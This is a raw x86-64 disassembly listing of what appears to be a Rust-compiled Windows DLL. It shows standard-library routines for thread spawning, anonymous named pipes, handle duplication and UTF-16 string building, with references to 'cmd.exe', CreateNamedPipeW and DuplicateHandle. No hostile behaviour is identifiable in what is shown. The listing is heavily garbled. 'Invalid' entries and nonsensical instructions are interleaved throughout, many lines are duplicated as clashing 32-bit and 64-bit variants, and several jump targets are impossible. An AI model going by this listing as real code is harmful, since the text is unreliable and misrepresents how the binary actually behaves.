mov rax, qword [rsi + 8]
test rdi, rdi
je 0x1800552ce
or byte [rax - 0x7b], cl
push qword [rsi + rcx*2 + 0x48]
cmp edi, 0x10
cmp rdi, 0x10
jae 0x18005528a
xor ecx, ecx
jmp 0x1800552bc
mov rcx, rdi
and rcx, 0xfffffffffffffff0
invalid
lea r8, [rax + rdx*2]
lea eax, [rax + rdx*2]
add r8, 0x10
xor r9d, r9d
nop dword [rax]
movups xmmword [r8 + r9*2 - 0x10], xmm6
adc dword [rax + rcx*2 - 0x10], esi
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
adc byte [rcx + rdi - 0x37], cl
adc byte [rcx + rdi - 0x37], cl
jne 0x1800552a0
add rdx, rcx
cmp rdi, rcx
je 0x1800552ce
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
dec edi
dec edi
jne 0x1800552c0
mov word [rax + rdx*2], 0x5c
inc rdx
mov qword [rsi + 0x10], rdx
xor edi, edi
dec dword [rax - 0x75]
adc byte [rax + 0x3b], r9b
invalid
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi]
jne 0x180055190
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
mov rcx, rsi
call fcn.1800489e0
mov rax, qword [rsi + 0x10]
jmp 0x180055190
add rbx, 3
shl eax, 0xc
or r13d, eax
cmp r13d, 0xffff
add byte [rax], al
add byte [rax], al
jbe 0x180055230
invalid
lea eax, [r13 + 0xff0000]
shr eax, 0xa
or eax, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov r12d, r13d
in al, dx
in al, dx
mov r13d, eax
test r15b, r15b
je 0x1800552dd
jmp 0x18005523c
dec dword [rax - 0x77]
int1
mov rcx, rsi
call fcn.18006a570
mov rdx, qword [rsi + 0x10]
jmp 0x180055277
invalid
invalid
invalid
invalid
cmp byte [rbp - 0x14], 0
je 0x1800553f7
mov rax, qword [rsi]
mov rdx, qword [rsi + 0x10]
mov rcx, rax
sub rcx, rdx
ror dword [rax + 0x39], 1
stc
ror dword [rax + 0x39], 1
stc
jb 0x18005540e
test rdi, rdi
je case.0x18004bb8b.91
mov rax, qword [rsi + 8]
cmp rdi, 0x10
jae 0x180055383
xor ecx, ecx
jmp case.0x180057991.102
mov rcx, rdi
mov ecx, edi
and rcx, 0xfffffffffffffff0
lea r8, [rax + rdx*2]
add r8, 0x10
xor r9d, r9d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
cmp rcx, r9
jne 0x1800553a0
add rdx, rcx
add edx, ecx
cmp rdi, rcx
je 0x1800553ce
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne 0x1800553c0
mov rax, qword [rsi]
mov qword [rsi + 0x10], rdx
cmp rdx, rax
jne 0x1800553e6
mov rcx, rsi
call fcn.1800489e0
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi + 8]
mov word [rax + rdx*2], 0x22
or byte [rsi - 0x39], ah
add al, 0x50
push rax
and al, byte [rax]
inc rdx
mov qword [rsi + 0x10], rdx
xor eax, eax
ror byte [rdi], 0x28
jne 0x1800553ed
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x78
add esp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
mov r8, rdi
call fcn.18006a570
mov rdx, qword [rsi + 0x10]
mov edx, dword [rsi + 0x10]
jmp 0x180055375
invalid
lea rax, str.capacity_overflow
add al, byte fs:[rax]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [0x180081690]
lea eax, [0x180081690]
push rsp
ret 2
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
ror byte [rdi], 0x11
invalid
invalid
ror byte [rdi], 0x11
ror byte [r8 - 0x73], 1
adc eax, 0x26fb2
invalid
adc dword [rbp - 0x30], eax
lea rdx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_vecmod.rs
add byte [rax - 0x73], cl
movabs r8, 0xcccccc000142f9e8
add dword [rax], eax
int3
int3
int3
int3
lea rcx, [rbp - 0x48]
call fcn.180069750
add dword [rax], eax
add dword [rax], eax
int3
sub esp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
invalid
lea rbp, [rsp + 0x30]
xor byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov esi, ecx
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.18004da40
rol byte [rbp - 0x74b70001], 0x5d
invalid
test rbx, rbx
je 0x180055503
rol byte [rbp - 0x74b70001], 0x5d
invalid
invalid
lea rdi, [rbp - 0x10]
jmp 0x1800554a4
adc eax, 0xf9894890
mov rcx, rdi
mov rdx, rsi
call fcn.18004da40
mov rbx, qword [rbp - 0x10]
test rbx, rbx
test ebx, ebx
test edi, edi
invalid
dec dword [rax - 0x75]
pop rbp
invalid
test ebx, ebx
je 0x180055503
mov r14, qword [rbp]
imul rax, r14, 0x38
invalid
cmp byte [rbp + rcx*4 + 0x3c], cl
invalid
invalid
add r15, 0x168
cmp qword [rbx + rax + 0x168], 0
invalid
add byte [rax - 0x7d], cl
mov esp, 0x16803
add byte [rax], al
je 0x1800554d0
mov rcx, qword [r15 + 8]
mov edx, 1
call fcn.18001b8e0
adc byte [rsp + rdi*8 - 1], ah
adc byte [rsp + rdi*8 - 1], ah
cld
dec dword [rcx - 0x7d]
cmp qword [r15 + 0x20], 0
je 0x1800554e5
jg 0x1800554f4
add byte [rsi + rcx + 0x49], dh
mov ecx, dword [rdi + 0x28]
mov rcx, qword [r15 + 0x28]
mov edx, 2
add byte [rax], al
call fcn.18001b8e0
shl r14, 5
cmp qword [rbx + r14], 0
je 0x180055490
add rbx, r14
mov rcx, qword [rbx + 8]
mov ecx, dword [rbx + 8]
mov edx, 1
add dword [rax], eax
add byte [rax], al
call fcn.18001b8e0
jmp 0x180055490
invalid
add rsp, 0x38
pop rbx
pop rdi
cmp byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
pop rbp
ret
sub rsp, 0xe8
lea rbp, [rsp + 0x80]
add byte [rax - 0x39], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rbx + 0xd8d4c01]
and al, 0xe0
add al, byte [rax]
add byte [rax - 0x39], cl
invalid
invalid
and al, 0xe0
add al, byte [rax]
movsxd rax, dword [r9 + rax*4]
add al, 0x81
add rax, r9
jmp rax
mov ecx, edx
jmp 0x180055635
add byte [rax], al
add byte [rax], al
mov rsi, qword [rcx + 8]
test rsi, rsi
je 0x180055730
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0x45c748d7], cl
sbb byte [rax], al
add byte [rax], al
add al, ch
invalid
mov edi, edx
mov qword [rbp + 0x18], 0
call sub.KERNEL32.dll_GetCurrentProcess
add dword [rax], eax
add dword [rax], eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
and al, 0x28
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
adc eax, 0x16be5
adc eax, 0x16be5
test eax, eax
je 0x180055719
invalid
xchg byte [rcx], al
add byte [rax], al
test byte [rsi + 0x48000001], al
mov eax, dword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 8], rax
mov edx, edi
jmp 0x180055736
mov dword [rbp + 0x18], 0
mov dword [rbp + 0x38], 0
mov word [rbp + 0x3c], 0
movaps xmm0, xmmword [0x18006c830]
movups xmmword [rbp + 0x28], xmm0
cmp edx, 0xfffffff6
sete byte [rbp + 0x38]
mov dword [rbp - 0x28], 0x18
setne byte [rbp + 0x39]
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x18], 1
lea rax, [rbp - 0x28]
mov qword [rbp + 0x20], rax
lea rcx, str..NULcmd.exemaximum_number_of_ProcThreadAttributes_exceeded
lea r8, [rbp + 0x18]
mov edx, 7
call fcn.18004a800
jmp 0x1800556c8
mov rsi, r8
cmp edx, 0xfffffff6
setne dl
lea rcx, [rbp + 0x18]
call fcn.1800563c0
cmp qword [rbp + 0x18], 0
mov rdi, qword [rbp + 0x20]
je 0x180055770
mov eax, 1
mov rdx, rdi
jmp 0x1800556c8
mov ecx, dword [rcx + 4]
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
je 0x1800556a5
cmp rax, 0xffffffffffffffff
jne 0x1800556d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
jmp 0x1800556af
mov rsi, qword [rcx + 8]
test rsi, rsi
je 0x1800556c4
mov qword [rbp + 0x18], 0
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x180055719
mov rdx, qword [rbp + 0x18]
jmp 0x1800556c6
movabs rax, 0x600000002
mov qword [rbp + 0x18], 1
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x20], rax
call fcn.180043db0
xor edx, edx
xor eax, eax
add rsp, 0xe8
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rbp - 0x28], 0
mov rsi, rax
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rbp - 0x28]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x180055719
mov rdx, qword [rbp - 0x28]
jmp 0x1800556c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
jmp 0x1800556c8
xor eax, eax
mov qword [rbp + 8], rax
mov esi, edx
cmp edx, 0xfffffff6
setne dl
mov byte [rbp + 0x58], 1
lea rcx, [rbp + 0x18]
call fcn.1800563c0
cmp qword [rbp + 0x18], 0
mov rax, qword [rbp + 0x20]
je 0x1800557a0
mov rcx, qword [rbp + 8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rsi
mov eax, 1
jmp 0x1800556c8
mov rdx, qword [rbp + 0x28]
mov rax, rsi
cmp qword [rsi], 0
je 0x180055790
mov rcx, qword [rax + 8]
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbx
mov rax, rsi
mov qword [rax], 1
mov qword [rax + 8], rdi
jmp 0x1800556c6
cmp esi, 0xfffffff6
mov rcx, qword [rbp + 8]
mov rdx, rcx
cmovne rdx, rax
mov qword [rbp - 0x30], rdx
cmovne rax, rcx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp], rax
mov qword [rbp - 0x40], 0
mov byte [rbp + 0x5d], 0
mov byte [rbp + 0x5c], 1
call fcn.180056d20
mov rsi, rax
mov qword [rbp + 0x18], 2
mov byte [rbp + 0x5d], 0
mov byte [rbp + 0x5c], 1
lea rcx, [rbp + 0x18]
call fcn.180043a60
mov qword [rbp + 0x48], rax
lock inc qword [rax]
jle 0x1800558b4
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
movzx eax, byte [0x18008b300]
mov edx, 0x30
xor ecx, ecx
call fcn.180059d10
test rax, rax
je 0x180055994
movups xmm0, xmmword [rbp + 0x18]
movups xmm1, xmmword [rbp + 0x28]
movups xmm2, xmmword [rbp + 0x38]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lock inc qword [rax]
jle 0x1800558b4
movzx ecx, byte [0x18008b1d8]
test cl, cl
mov qword [rbp + 0x50], rax
je 0x1800558b6
mov byte [0x18008b1d8], 1
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x60], 0
je 0x18005588d
lea rax, [rax + 0x68]
jmp 0x18005589f
mov byte [rbp + 0x5f], 1
call fcn.18004cc10
test rax, rax
je 0x180055a75
mov rcx, qword [rax]
mov qword [rax], 0
test rcx, rcx
je 0x1800558b6
lock inc qword [rcx]
jg 0x1800558b8
ud2
xor ecx, ecx
mov byte [rbp + 0x5a], 0
mov byte [rbp + 0x59], 1
mov qword [rbp + 0x10], rcx
call fcn.18004cb20
test rax, rax
je 0x1800558dc
lock dec qword [rax]
jne 0x1800558dc
mov rcx, rax
call fcn.18004ccf0
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x20], rax
mov rax, qword [rax + 0x10]
test rax, rax
je 0x180055918
lock inc qword [rax + 0x18]
jle 0x180055a16
movzx eax, byte [0x18008b300]
mov edx, 0x28
xor ecx, ecx
call fcn.180059d10
test rax, rax
je 0x1800559a8
mov rcx, qword [rbp - 8]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov byte [rbp + 0x5e], 0
lea r8, fcn.180057040
mov rcx, rsi
mov rdx, rax
call fcn.1800570c0
test rax, rax
jne 0x1800559bc
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
lock dec qword [rcx]
jne 0x18005597a
call fcn.180044bf0
mov rcx, qword [rbp + 0x50]
lock dec qword [rcx]
jne 0x180055989
call fcn.180057000
xor eax, eax
mov rdx, qword [rbp]
jmp 0x1800556c8
mov ecx, 8
mov edx, 0x30
call fcn.180069620
jmp 0x1800558b4
mov ecx, 8
mov edx, 0x28
call fcn.180069620
jmp 0x1800558b4
mov rsi, rdx
mov rax, qword [rbp + 0x50]
lock dec qword [rax]
jne 0x1800559d2
mov rcx, qword [rbp + 0x50]
call fcn.180057000
mov rax, qword [rbp + 0x48]
lock dec qword [rax]
jne 0x1800559e5
mov rcx, qword [rbp + 0x48]
call fcn.180044bf0
mov qword [rbp + 0x18], rsi
lea rax, [0x18007c730]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.180043db0
lea r8, [rbp + 0x18]
mov edx, 0x16
call fcn.180069b20
jmp 0x1800558b4
lea rcx, [rax + 0x18]
lock dec qword [rcx]
jne 0x180055a37
mov rcx, qword [rax + 0x10]
mov al, 1
xchg byte [rcx + 0x30], al
cmp al, 0xff
jne 0x180055a37
add rcx, 0x30
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rax, str.too_many_running_threads_in_thread_scope_
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], 1
lea rax, [0x180081690]
mov qword [rbp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x5e], 1
lea rdx, str.library_std_src_thread_scoped.rs
lea rcx, [rbp + 0x18]
call fcn.180069750
jmp 0x1800558b4
mov byte [rbp + 0x5f], 1
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadlocal.rs
lea r9, [0x18007bca0]
lea r8, [rbp + 0x18]
mov edx, 0x46
call fcn.180069b20
jmp 0x1800558b4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x58], eax
nop dword [rax]
mov rax, qword [0x18008b280]
test rax, rax
jne 0x180056470
movaps xmmword [rbp + 0x20], xmm6
mov edx, 0x10
mov rcx, r13
call rbx
mov rax, qword [rbp + 0x20]
mov qword [0x18008b280], rax
jmp 0x180056440
mov eax, 1
lock xadd qword [0x18008b280], rax
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x58]
mov qword [rbp], rax
lea rax, [0x180025550]
mov qword [rbp + 8], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x10], rax
lea rax, [0x180020440]
mov qword [rbp + 0x18], rax
lea rax, str..pipe__rust_anonymous_pipe1__.
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 2
mov qword [rbp + 0x40], 0
mov rax, rbp
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 2
mov rbx, r14
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], r15
mov byte [rbp + 0xa7], dil
mov byte [rbp + 0xa6], 1
lea rcx, [rbp - 0x40]
mov rdx, r13
call 0x18001f4b0
test r15, r15
sete al
or sil, al
test sil, 1
jne 0x180056513
mov edx, 1
mov rcx, rbx
call fcn.18001b8e0
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x80], rax
mov r8, qword [rbp - 0x38]
mov r9, qword [rbp - 0x30]
lea r13, [r8 + r9]
test r9, r9
mov qword [rbp + 0x88], r8
mov dword [rbp + 0x5c], r12d
mov qword [rbp - 0x18], r9
je 0x180056560
movzx ecx, byte [r8]
movzx r15d, cl
test r15b, r15b
js 0x180056580
lea r12, [r8 + 1]
jmp 0x1800565e4
mov esi, 4
mov ebx, 8
xor r14d, r14d
xor r12d, r12d
xor r15d, r15d
xor edi, edi
jmp 0x180056635
mov eax, r15d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r15b, 0xdf
jbe 0x1800565d8
movzx r15d, byte [r8 + 2]
shl edx, 6
and r15d, 0x3f
or r15d, edx
cmp cl, 0xf0
jb case.0x18001e906.1123
lea r12, [r8 + 4]
movzx ecx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl r15d, 6
and ecx, 0x3f
or ecx, r15d
or ecx, eax
mov r15d, ecx
cmp r15d, 0xffff
jbe 0x1800565e4
jmp case.0x18001e8b0.1105
lea r12, [r8 + 2]
shl eax, 6
or eax, edx
mov r15d, eax
xor r14d, r14d
xor eax, eax
mov rcx, r13
sub rcx, r12
add rcx, 3
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
shr rcx, 2
add rcx, rax
cmp rcx, 3
mov esi, 2
cmovae rsi, rcx
lea rbx, [rsi*2 + 4]
movabs rax, 0x3ffffffffffffffd
cmp rcx, rax
ja 0x180056b0d
add rsi, 2
mov di, 1
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, rbx
call fcn.180059d10
test rax, rax
je 0x180056b04
mov rdx, rax
mov rax, qword [rbp - 0x10]
inc eax
mov dword [rbp + 0x60], eax
mov word [rdx], r15w
mov ebx, 1
jmp 0x18005667e
mov rsi, rcx
mov r14d, eax
mov word [rdx + rbx*2], r15w
inc rbx
mov rcx, rsi
test r12, r12
je 0x1800566c0
test r14w, r14w
je 0x1800566a0
xor eax, eax
mov r15d, r14d
jmp 0x18005678e
cmp r12, r13
je 0x1800566c0
cmp di, 1
jne 0x180056860
xor r12d, r12d
xor edi, edi
mov r15d, 0
mov esi, 0
cmp rbx, rcx
je 0x1800567c9
add byte [rax], al
inc dword [rax]
shr ecx, 0xa
or al, byte [rcx + 0xd800c9]
add byte [rcx - 0x7f], al
out 0xff, eax
add eax, dword [rax]
invalid
or al, byte [rcx + 0xd800c9]
add byte [rcx - 0x7f], al
out 0xff, eax
add eax, dword [rax]
add byte [rcx - 0x7f], al
invalid
invalid
iretd
or r15d, 0xdc00
mov eax, r15d
mov r15d, ecx
mov rcx, r9
jmp 0x18005678e
cmp rbx, rcx
jne 0x180056670
mov rsi, r13
sub rsi, r12
sub esi, esp
sub esi, esp
add rsi, 3
mov r8, rcx
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
mov rcx, r8
shr rsi, 2
cmp ax, 1
sbb rsi, 0xffffffffffffffff
cmp di, 1
sbb rsi, 0xffffffffffffffff
mov r14d, eax
mov esi, eax
mov esi, eax
mov qword [rbp + 0x98], rdx
inc rsi
xchg ebp, eax
cwde
add byte [rax], al
add byte [rax - 1], cl
invalid
add rsi, rbx
mov qword [rbp + 0x90], rcx
mov dword [rbp + 0x90], ecx
fimul word [rax - 0x77]
lea edx, [rax + 0xf000000]
add byte [rax], al
invalid
invalid
mov dword [rbp + 0x90], ecx
add byte [rax], al
jb 0x180056af1
invalid
mov r9, rcx
add rcx, rcx
add ecx, ecx
add ecx, ecx
cmp rcx, rsi
int1
cmova rsi, rcx
int1
xor edx, edx
mov rax, rsi
mov eax, esi
mov eax, esi
shr rax, 0x3e
sete al
invalid
call 0x14099773a
ror byte [rax - 0x7d], 0xfe
cmp rsi, 5
mov r8d, 4
add byte [rax], al
invalid
add eax, 0x4b841
add byte [rax], al
add byte [rax], al
add byte [rcx + 0xf], cl
invalid
invalid
cmovb rsi, r8
cmovb esi, eax
test r9, r9
test ecx, ecx
je 0x180056825
mov r8, qword [rbp + 0x98]
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x30], rcx
xor byte [rcx + 2], bh
xor byte [rcx + 2], bh
jmp 0x180056827
add dh, byte [rcx]
leave
xor ecx, ecx
lea r8, [rsi + rsi]
mov dl, al
add edx, edx
mov qword [rbp + 0x28], rcx
invalid
sub byte [rax - 0x77], cl
jmp 0x1a052f586
lea ecx, [rbp + 0x20]
mov rcx, rbp
lea r9, [rbp + 0x20]
lea ecx, [rbp + 0x20]
lea ecx, [rbp + 0x20]
and al, ch
call fcn.180044da0
invalid
cmp qword [rbp], 0
cmp dword [rbp], 0
add byte [rdi], cl
test dword [rbx + 0x48000002], ebp
add al, byte [rax]
invalid
invalid
jne 0x180056af5
add al, byte [rax]
add byte [rax - 0x75], cl
mov edx, dword [rbp + 8]
invalid
mov rdx, qword [rbp + 8]
mov edx, dword [rbp + 8]
jmp 0x180056676
and edi, esi
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
lea edx, [rax + 0x48000000]
nop
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x38], 0
mov qword [rbp + 0x90], rcx
nop
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], 0
and al, 0x38
cmp byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add bh, al
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
xor byte [rax], al
add byte [rax], al
add bh, al
and al, 0x28
sub byte [rax], al
add byte [rcx], al
invalid
mov dword [rsp + 0x28], 0x10000
sub byte [rax], al
add byte [rcx], al
add bh, al
and al, 0x20
and al, 0x20
mov dword [rsp + 0x20], 0x10000
and al, 0x20
add byte [rax], al
add dword [rax], eax
mov qword [rbp + 0x98], rdx
mov dword [rbp + 0x98], edx
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov edx, dword [rbp + 0x64]
mov r12d, dword [rbp + 0x5c]
push rbp
mov r12d, dword fs:[rbp + 0x5c]
mov r8d, r12d
mov r9d, 1
add dword [rax], eax
add byte [rax], al
loopne 0x1800568de
mov ecx, 1
add dword [rax], eax
add byte [rax], al
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
adc eax, 0x158e8
pop rax
add dword [rax], eax
invalid
add byte [rax - 0x77], cl
ret
mov rbx, rax
mov ebx, eax
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
jne 0x180056a03
add byte [rax], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
int 0x57
add dword [rax], eax
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x3f], 0xe1
mov rcx, rax
shl rcx, 0x20
and byte [rax - 0x7d], cl
leave
add cl, byte [rax - 0x77]
mov dword [rbp + 0x20], ecx
and byte [rax - 0x7d], cl
leave
add cl, byte [rax - 0x77]
invalid
mov dword [rbp + 0x20], ecx
and byte [r11 - 0x57c9fab], r9b
mov edx, dword [rbp + 0x60]
cmp edx, 0xa
or cl, byte [rax - 0x75]
mov ebp, 0x80
invalid
push rbp
invalid
or cl, byte [rax - 0x75]
mov ebp, 0x80
invalid
add byte [rbp + rcx*4 + 0x6d], cl
and byte [rdi], cl
jge 0x180056992
cmp eax, 5
jne 0x1800568f0
mov eax, edx
lea r13, [rbp + 0x20]
jge 0x180056992
mov cl, 0
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xa7505f8], al
jne 0x1800568f0
cmp eax, 5
jne 0x1800568f0
mov eax, edx
mov qword [rbp - 0x10], rax
jmp 0x180056905
invalid
test r12d, r12d
je 0x180056992
add byte [rax], al
in al, 0xf
test byte [rcx + 0x45000000], bl
add byte [rax], al
xor r12d, r12d
add byte [rax], al
xor r12d, r12d
in al, 0x83
clc
push rdi
cmp eax, 0x57
jne 0x180056992
test dword [rbp + 0x4c000000], ecx
mov ecx, ebp
invalid
add byte [rax], al
mov rcx, r13
jmp 0x17eda0cf4
call fcn.180043db0
mov dil, 1
mov bh, 1
invalid
mov bh, 1
add dword [rcx], esi
test byte [rax - 0x7d], 0xbd
invalid
invalid
xor esi, esi
cmp qword [rbp + 0x90], 0
cmp dword [rbp + 0x90], 0
cmp dword [rbp + 0x90], 0
nop
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x4b], cl
invalid
mov ch, 0x88
invalid
mov r14, qword [rbp + 0x88]
mov esi, dword [rbp + 0x88]
add byte [rax], al
mov r15, qword [rbp + 0x80]
mov ebp, 0x80
add byte [rax - 0x75], cl
sbb eax, 0x15a21
and dword [rdx + 1], ebx
invalid
mov rbx, qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
and dword [rdx + 1], ebx
add byte [rdi], cl
invalid
test bl, bh
cli
je 0x180056430
invalid
mov edx, 2
mov rcx, qword [rbp + 0x98]
mov ecx, dword [rbp + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0x98]
invalid
invalid
mov ecx, dword [rbp + 0x98]
add byte [rax], al
call fcn.18001b8e0
cld
push qword [rcx]
xor esi, esi
jmp 0x180056430
invalid
invalid
imul cl
jrcxz 0x180056945
invalid
lea r12, [r8 + 3]
shl eax, 0xc
invalid
or r15d, eax
cmp r15d, 0xffff
add byte [rdi], cl
invalid
cmp ah, 0xff
invalid
invalid
mov dword [rcx - 0x7f], 0xffffff
add byte [rdi], cl
xchg byte [rax + 0x41fffffc], al
invalid
inc dword [rcx - 0x73]
lea ecx, [r15 + 0xff0000]
invalid
lea ecx, [r15 + 0xff0000]
inc dword [rax]
shr ecx, 0xa
or ecx, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
and r15d, 0x3ff
inc dword [rbx]
add byte [rax], al
or r15d, 0xdc00
add ah, bl
add byte [rax], al
mov eax, 1
add byte [rax], al
mov r14d, r15d
mov r15d, ecx
iretd
jmp 0x1800565e9
push rdi
cld
invalid
invalid
iretd
push rdi
cld
invalid
mov rax, qword [rbp + 0x68]
mov eax, dword [rbp + 0x68]
push 0x8488948
mov qword [rax + 8], rcx
mov qword [rax], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
mov rsi, 0xffffffffffffffff
invalid
cmp qword [rbp + 0x90], 0
je 0x1800569c3
invalid
mov ebp, 0x90
add byte [rcx + rdx - 0x46], dh
add al, byte [rax]
add byte [rax], al
invalid
adc dword [rdx + 2], edi
mov edx, 2
add byte [rax - 0x75], cl
lea ebx, [rax - 0x18000000]
add al, ch
mov rcx, qword [rbp + 0x98]
mov ecx, dword [rbp + 0x98]
add al, ch
call fcn.18001b8e0
sbb eax, 0x48fffc4f
test rdi, rdi
test edi, edi
je case.0x18001e906.1118
mov edx, 1
add byte [rax], al
mov rcx, qword [rbp + 0x88]
add byte [rax], al
call fcn.18001b8e0
cmp rbx, 0xffffffffffffffff
je 0x1800569e8
sti
push qword [rcx + rcx + 0x48]
mov ecx, esi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm6, xmmword [rbp + 0xb0]
sub byte [rbp + 0xb0], dh
add rsp, 0x148
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp qword [rbp + 0x90], 0
mov rdi, qword [rbp + 0x80]
je 0x180056a25
mov edx, 2
mov rcx, qword [rbp + 0x98]
call fcn.18001b8e0
mov dword [rbp + 0x20], 0
mov dword [rbp + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov word [rbp + 0x44], 0
add byte [rax], r8b
movzx eax, byte [rbp + 0xa5]
mov byte [rbp + 0x41], al
add byte [rax + 0x1344145], cl
xor al, 1
mov byte [rbp + 0x40], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov dword [rbp], 0x18
mov qword [rbp + 8], 0
mov dword [rbp + 0x10], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
or byte [r8], r8b
add byte [rax], al
add bh, al
adc byte [r9], r8b
